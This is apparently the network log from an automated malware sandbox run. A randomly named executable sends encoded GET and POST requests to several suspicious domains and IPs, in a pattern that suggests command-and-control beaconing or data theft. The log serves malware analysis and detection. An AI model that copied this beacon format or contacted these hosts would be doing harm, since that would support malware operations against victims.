65 49 52 68 51 33 72 72 79 67 56 32 6c 30 7a 64 32 6b 67 71 42 56 47 47 51 4e 6a 57 6a 70 33 72 58 77 6b 59 7a 36 34 62 63 4e 4f 33 46 38 61 77 4d 55 54 54 55 6d 77 56 47 48 52 77 6c 53 36 4f 78 75 4e 59 69 30 4f 30 57 7a 77 73 58 77 31 50 31 6c 4a 75 37 71 74 64 66 52 4c 66 71 66 48 4c 2f 72 70 78 53 69 68 32 34 54 56 65 58 47 49 2b 68 4d 55 35 76 46 36 67 36 78 39 30 72 78 2b 35 4a 45 4a 51 74 69 30 6a 30 31 61 58 76 73 72 38 6e 37 6f 32 6a 2b 39 61 36 43 51 70 54 4a 4e 78 [TRUNCATED] Data Ascii: gHCXmDU=aWdMiC7JJ2xhAf0dtQoMtU0d7mqAiSByhQ3oZJ+wXhA6kkMN6q0ZcEzmiMldIsqs3HH1n5srg881CPeRO5leKjReMc7lxlv/cKWc3CA1afPPZRr5ri4+qcr6a79RMCHdNDFdXrkXiLiiOphB/qQhPo5Z4hQtwXLfSZlpSRyvVteIRhQ3rrygV2l0zd2kgqBVGGQNjWjp3rXwkYz64bcNO3F8awMUTTUmwVGHRwlS6OxuNYi0O0WzwsXw1P1lJu7qtdfRLfqfHL/rpxSih24TVeXGI+hMU5vF6g6x90rx+5JEJQti0j01aXvsr8n7o2j+9a6CQpTJNx7igzVtFBcB1PHVRoRDzITotXfI5Jc3dbrxcIuNTn002FoJZvyvCvYlcEaGSb2PbYOClvO1PjYCMHdDHpdv0pnGZLEo2Jt9gwNUHNDwnIM6NZVRrdjZGgFRqUxkhVTOgGtqUIHH7w+VkpDfWTDP0kpiiR6Z44lu315Tu4p+47JdNHeIeqeeDXaWTc30s9Jg8izkM51Qw39+Zzo58hKvzUME7xZH6TuPUwvbluJeWpPBG3I1giPqigTEc1w38NjE7ge4p4qEkgTUTYQ0CMQmMB0qVs3baiOpL1G/9WDRJXnsvk5HhBvbWEIiRhi7Vup8naVw4k6OBadz/hmdI3FSj1oPuiLGFzm25OCNi/Tsv6UXqwYu83xCjYkHoTGAza6h2VStvE7l4txxbPjY8Yj5cW4waIaddS1QPhI8+NtQ1k+q2OU+uKpeG7dzAmRSG6gTf40Lrqwn1I31W6doEf1FpqNdb9cSUIJu+6urEY2oUd5yLRh/xdO1qozF72bHOzMc+ojYu1mytEzpr6Fvl4T+55kr7jmz0bRPiGPlYoVYaIJh9XW65SmwmBZJzR4OApH+Pfe05iGE5uoNH3insfNC/ycgbZQ9ojPm2WsB+KlHQ78WFDXeSh+GR3aahA4yPGTTkQRMjiS8CMKqVA5If7A4GYatTeVynwno2Ey/ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49732	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:51.993941069 CEST	549	OUT	GET /8y34/?gHCXmDU=XU1sh1XtMideJdcsvQ849SwdzHfbiD52gXGwR5WASyJ1tlInyqc9ITTs981nRcft/RKcq7FVheMXMN6zJo5iI2BJEO7R6UftY8jdwwsPJfysQECRq1QA/MaERKdZHzC5fw==&Gh9=g8u8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.crowsecurity.cloud Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Sep 30, 2024 18:45:52.447935104 CEST	404	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 30 Sep 2024 16:45:52 GMT Content-Type: text/html Content-Length: 264 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 67 48 43 58 6d 44 55 3d 58 55 31 73 68 31 58 74 4d 69 64 65 4a 64 63 73 76 51 38 34 39 53 77 64 7a 48 66 62 69 44 35 32 67 58 47 77 52 35 57 41 53 79 4a 31 74 6c 49 6e 79 71 63 39 49 54 54 73 39 38 31 6e 52 63 66 74 2f 52 4b 63 71 37 46 56 68 65 4d 58 4d 4e 36 7a 4a 6f 35 69 49 32 42 4a 45 4f 37 52 36 55 66 74 59 38 6a 64 77 77 73 50 4a 66 79 73 51 45 43 52 71 31 51 41 2f 4d 61 45 52 4b 64 5a 48 7a 43 35 66 77 3d 3d 26 47 68 39 3d 67 38 75 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?gHCXmDU=XU1sh1XtMideJdcsvQ849SwdzHfbiD52gXGwR5WASyJ1tlInyqc9ITTs981nRcft/RKcq7FVheMXMN6zJo5iI2BJEO7R6UftY8jdwwsPJfysQECRq1QA/MaERKdZHzC5fw==&Gh9=g8u8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49733	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:57.488435030 CEST	833	OUT	POST /kdfx/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.multileveltravel.world Origin: http://www.multileveltravel.world Referer: http://www.multileveltravel.world/kdfx/ Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 54 50 72 41 6b 55 2f 70 52 7a 30 62 35 75 4a 73 39 50 6d 30 6b 73 76 70 4f 50 47 58 77 57 49 49 44 2b 37 63 59 6e 37 76 49 51 54 77 35 6d 57 69 56 67 4e 4e 6f 36 4e 64 42 4b 52 61 58 4f 61 61 36 37 46 2f 67 4a 42 4d 79 7a 78 6e 63 48 69 56 49 75 5a 4d 53 45 67 6e 66 5a 56 34 70 30 35 30 6d 33 59 58 6c 6e 4b 45 50 58 2b 51 7a 4f 73 73 54 59 53 56 73 45 67 45 38 6b 6e 62 32 56 61 57 68 66 6d 75 62 36 47 5a 6e 7a 75 71 73 74 6f 6e 52 31 2b 31 72 6e 69 76 72 38 54 4b 4f 34 45 39 34 4b 64 32 38 67 58 41 79 33 57 50 78 67 2f 4c 33 56 4b 46 41 51 68 4c 6e 41 43 63 6a 64 44 4f 59 34 34 37 67 79 59 3d Data Ascii: gHCXmDU=TPrAkU/pRz0b5uJs9Pm0ksvpOPGXwWIID+7cYn7vIQTw5mWiVgNNo6NdBKRaXOaa67F/gJBMyzxncHiVIuZMSEgnfZV4p050m3YXlnKEPX+QzOssTYSVsEgE8knb2VaWhfmub6GZnzuqstonR1+1rnivr8TKO4E94Kd28gXAy3WPxg/L3VKFAQhLnACcjdDOY447gyY=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49734	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:00.042021990 CEST	853	OUT	POST /kdfx/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.multileveltravel.world Origin: http://www.multileveltravel.world Referer: http://www.multileveltravel.world/kdfx/ Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 54 50 72 41 6b 55 2f 70 52 7a 30 62 34 4e 52 73 77 4d 4f 30 73 73 75 62 43 76 47 58 2b 32 49 79 44 2b 33 63 59 6c 57 6f 49 6a 6e 77 36 45 4f 69 55 6b 52 4e 70 36 4e 64 4b 71 52 66 59 75 61 42 36 37 49 63 67 4c 46 4d 79 7a 31 6e 63 47 53 56 49 5a 4e 50 64 30 67 6c 4b 4a 56 70 74 30 35 30 6d 33 59 58 6c 6e 33 76 50 58 6d 51 7a 66 38 73 54 38 4f 53 6c 6b 67 48 71 30 6e 62 6e 6c 61 53 68 66 6d 41 62 2f 75 7a 6e 32 71 71 73 76 77 6e 52 6b 2b 71 6c 6e 69 74 32 4d 53 31 4f 4c 68 4c 78 72 56 6d 35 6a 71 48 7a 42 4b 79 30 57 53 68 74 33 43 74 54 77 4e 7a 33 54 4b 72 79 74 69 6e 43 62 6f 4c 2b 6c 50 52 50 68 67 69 52 30 44 48 61 30 6c 6e 39 6d 57 36 6b 6a 70 64 Data Ascii: gHCXmDU=TPrAkU/pRz0b4NRswMO0ssubCvGX+2IyD+3cYlWoIjnw6EOiUkRNp6NdKqRfYuaB67IcgLFMyz1ncGSVIZNPd0glKJVpt050m3YXln3vPXmQzf8sT8OSlkgHq0nbnlaShfmAb/uzn2qqsvwnRk+qlnit2MS1OLhLxrVm5jqHzBKy0WSht3CtTwNz3TKrytinCboL+lPRPhgiR0DHa0ln9mW6kjpd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49735	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:02.604048967 CEST	1870	OUT	POST /kdfx/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.multileveltravel.world Origin: http://www.multileveltravel.world Referer: http://www.multileveltravel.world/kdfx/ Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 54 50 72 41 6b 55 2f 70 52 7a 30 62 34 4e 52 73 77 4d 4f 30 73 73 75 62 43 76 47 58 2b 32 49 79 44 2b 33 63 59 6c 57 6f 49 6a 2f 77 36 33 47 69 56 44 6c 4e 7a 36 4e 64 57 36 52 65 59 75 61 41 36 37 68 56 67 4c 5a 36 79 78 64 6e 64 67 4f 56 4f 74 68 50 47 6b 67 6c 53 35 56 35 70 30 35 62 6d 30 67 4c 6c 6e 48 76 50 58 6d 51 7a 63 30 73 61 49 53 53 70 45 67 45 38 6b 6e 70 32 56 61 36 68 62 4c 39 62 2f 71 4a 6b 43 65 71 73 50 67 6e 54 57 57 71 74 6e 69 7a 33 4d 53 74 4f 4c 64 59 78 72 5a 71 35 69 4f 68 7a 47 75 79 31 44 66 51 36 57 71 4c 42 51 4a 58 34 54 37 4d 76 4a 4f 4a 50 4b 55 6d 36 31 44 2b 53 7a 39 4d 62 54 33 59 4f 77 6f 34 71 68 65 73 6c 30 59 52 55 77 42 65 32 70 6e 37 6e 71 62 49 32 30 42 38 64 67 6b 61 35 79 70 52 78 4e 51 4f 47 64 78 43 6f 76 47 78 6b 6a 39 2b 64 7a 57 65 79 71 44 39 43 37 58 64 68 77 62 4e 58 76 39 65 33 31 63 61 37 39 4f 6b 79 2f 6f 4e 32 4e 4f 61 41 77 36 55 4b 70 67 38 7a 6a 38 2b 75 30 4a 74 7a 5a 57 36 6c 75 34 58 37 73 47 5a 61 50 52 74 32 5a [TRUNCATED] Data Ascii: gHCXmDU=TPrAkU/pRz0b4NRswMO0ssubCvGX+2IyD+3cYlWoIj/w63GiVDlNz6NdW6ReYuaA67hVgLZ6yxdndgOVOthPGkglS5V5p05bm0gLlnHvPXmQzc0saISSpEgE8knp2Va6hbL9b/qJkCeqsPgnTWWqtniz3MStOLdYxrZq5iOhzGuy1DfQ6WqLBQJX4T7MvJOJPKUm61D+Sz9MbT3YOwo4qhesl0YRUwBe2pn7nqbI20B8dgka5ypRxNQOGdxCovGxkj9+dzWeyqD9C7XdhwbNXv9e31ca79Oky/oN2NOaAw6UKpg8zj8+u0JtzZW6lu4X7sGZaPRt2ZwU1yTtTc7zKetoZzvFeYnhPDcfNNY0fvVFCCbuFPvUrkm5Yny9VZ05XwcVNtZtWPfQz2fSPPlm2BNU9fqiEE05dQgfJvIWAFS9lChYiM48m3+Ixbjy6/pSVBHQwBAhYCWdk/mDm1Tp8ktMMYVPkB0jXg4jp65PptdkvAY/OHVPFoS0F+i/IeVAPNHJNKVRBriIi9P3saoxF4NDiY6oTCcwE7OGCqyg6TVXUZ8KnHp+sC62zQV8H8kDq16fEuxj5tgqYxqQ1bM2ic7bJdlJymkPIVMtXh5gjj7/nAlxg2PJ0TAJeQxLFjTFcUldG7qJwlwFQjw2d74byn6ayw3qDzpZKGsezKz1tOs+jWH6RGjPn0ZBKs+9BYOJI5i4BFVIyiwfvHiTb4EzeBf1vHZ+eaYXtLy/v1st7PaQCLdFp/IgHMpioE+JDS945nG5bEb+2JaKQk/SngLClyxjvqQ/WJjlA2n327eejrWjN7b4lHmsTqGWESO27Wxj49gPQrImYnWV9UmTWiDvtFrqgEtSfBpZWQFcem72YSbKBPj3loTjhY5/06briDs7t3sgV90mvtqyQSmYCx+LH1l0XTUiGGksaUL+tBPrypiAH15jOVQ6BPrV00xiOWZGnFuIIsFoSceQ6x1/rmoeU8bx9p/aTWAJ8ZhbAQszQs04 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49736	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:05.251880884 CEST	553	OUT	GET /kdfx/?gHCXmDU=eNDgnj/WfiIi0tdu+8aXiZOUK+7f3FxcWZT5SlTqKAn5yXi4RD1689oWOvV8Od+Oy+8ctbdx7DJ/alyTHONZQzsxT9MNlSdJwngJpwfGelD5vY9uXcKC+Fx9+CLw3WjCzw==&Gh9=g8u8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.multileveltravel.world Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Sep 30, 2024 18:46:06.630744934 CEST	404	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 30 Sep 2024 16:46:06 GMT Content-Type: text/html Content-Length: 264 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 67 48 43 58 6d 44 55 3d 65 4e 44 67 6e 6a 2f 57 66 69 49 69 30 74 64 75 2b 38 61 58 69 5a 4f 55 4b 2b 37 66 33 46 78 63 57 5a 54 35 53 6c 54 71 4b 41 6e 35 79 58 69 34 52 44 31 36 38 39 6f 57 4f 76 56 38 4f 64 2b 4f 79 2b 38 63 74 62 64 78 37 44 4a 2f 61 6c 79 54 48 4f 4e 5a 51 7a 73 78 54 39 4d 4e 6c 53 64 4a 77 6e 67 4a 70 77 66 47 65 6c 44 35 76 59 39 75 58 63 4b 43 2b 46 78 39 2b 43 4c 77 33 57 6a 43 7a 77 3d 3d 26 47 68 39 3d 67 38 75 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?gHCXmDU=eNDgnj/WfiIi0tdu+8aXiZOUK+7f3FxcWZT5SlTqKAn5yXi4RD1689oWOvV8Od+Oy+8ctbdx7DJ/alyTHONZQzsxT9MNlSdJwngJpwfGelD5vY9uXcKC+Fx9+CLw3WjCzw==&Gh9=g8u8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49737	199.192.21.169	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:12.244235992 CEST	809	OUT	POST /ghvt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.technectar.top Origin: http://www.technectar.top Referer: http://www.technectar.top/ghvt/ Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 47 52 4c 6b 54 6b 58 6b 74 74 6c 2b 62 2f 4f 77 50 46 30 34 35 70 65 74 6a 35 75 57 77 62 47 31 34 33 39 38 75 47 76 62 69 4f 75 61 72 4b 4e 75 6f 42 4f 70 31 77 5a 44 47 56 36 54 39 71 44 54 69 73 74 30 4a 58 69 6a 41 56 75 47 35 61 45 78 4d 47 30 42 68 2b 4a 69 41 33 73 72 62 34 68 4d 79 34 65 6d 77 4d 70 75 35 36 51 79 56 6c 59 6d 6e 5a 51 67 31 43 52 61 67 2f 71 2f 69 53 73 6f 32 46 54 44 30 65 59 41 58 39 4e 4b 4f 6a 43 57 50 32 48 51 37 53 52 76 71 79 35 42 33 33 2b 54 61 32 52 51 6c 70 2f 71 34 54 2f 79 6e 34 61 72 4c 4c 31 79 66 78 67 62 64 77 71 6a 61 6c 4a 47 31 37 64 2f 5a 45 67 3d Data Ascii: gHCXmDU=GRLkTkXkttl+b/OwPF045petj5uWwbG14398uGvbiOuarKNuoBOp1wZDGV6T9qDTist0JXijAVuG5aExMG0Bh+JiA3srb4hMy4emwMpu56QyVlYmnZQg1CRag/q/iSso2FTD0eYAX9NKOjCWP2HQ7SRvqy5B33+Ta2RQlp/q4T/yn4arLL1yfxgbdwqjalJG17d/ZEg=
Sep 30, 2024 18:46:12.839900970 CEST	980	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Sep 2024 16:46:12 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49738	199.192.21.169	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:14.922312975 CEST	829	OUT	POST /ghvt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.technectar.top Origin: http://www.technectar.top Referer: http://www.technectar.top/ghvt/ Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 47 52 4c 6b 54 6b 58 6b 74 74 6c 2b 4b 73 57 77 49 6b 30 34 6f 5a 65 71 6d 35 75 57 37 37 47 35 34 33 68 38 75 44 58 78 33 6f 65 61 79 71 39 75 76 77 4f 70 79 77 5a 44 4e 31 37 62 35 71 44 55 69 73 68 4b 4a 53 4b 6a 41 56 36 47 35 62 30 78 4d 31 73 43 6e 75 4a 67 4b 6e 73 70 66 34 68 4d 79 34 65 6d 77 4d 39 45 35 36 49 79 56 31 6f 6d 6d 34 51 76 72 53 52 5a 6f 66 71 2f 6d 53 73 73 32 46 53 51 30 61 59 6d 58 2f 46 4b 4f 6a 53 57 50 44 6e 54 78 53 52 70 67 53 34 53 68 79 57 65 56 47 6b 63 68 50 79 37 35 31 2b 4d 76 75 33 42 52 70 39 61 4d 52 4d 6a 4e 6a 69 55 4c 56 6f 76 76 59 4e 50 48 54 31 33 4c 50 2b 58 74 58 31 48 69 63 65 54 38 58 70 73 63 4f 51 49 Data Ascii: gHCXmDU=GRLkTkXkttl+KsWwIk04oZeqm5uW77G543h8uDXx3oeayq9uvwOpywZDN17b5qDUishKJSKjAV6G5b0xM1sCnuJgKnspf4hMy4emwM9E56IyV1omm4QvrSRZofq/mSss2FSQ0aYmX/FKOjSWPDnTxSRpgS4ShyWeVGkchPy751+Mvu3BRp9aMRMjNjiULVovvYNPHT13LP+XtX1HiceT8XpscOQI
Sep 30, 2024 18:46:15.509844065 CEST	980	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Sep 2024 16:46:15 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49739	199.192.21.169	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:17.465114117 CEST	1846	OUT	POST /ghvt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.technectar.top Origin: http://www.technectar.top Referer: http://www.technectar.top/ghvt/ Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 47 52 4c 6b 54 6b 58 6b 74 74 6c 2b 4b 73 57 77 49 6b 30 34 6f 5a 65 71 6d 35 75 57 37 37 47 35 34 33 68 38 75 44 58 78 33 72 2b 61 75 4c 64 75 6f 6a 32 70 7a 77 5a 44 52 6c 37 61 35 71 44 46 69 73 35 57 4a 53 47 64 41 57 43 47 72 70 38 78 48 6b 73 43 70 75 4a 67 45 33 73 6f 62 34 68 56 79 38 79 71 77 4d 74 45 35 36 49 79 56 32 77 6d 69 70 51 76 70 53 52 61 67 2f 71 7a 69 53 73 45 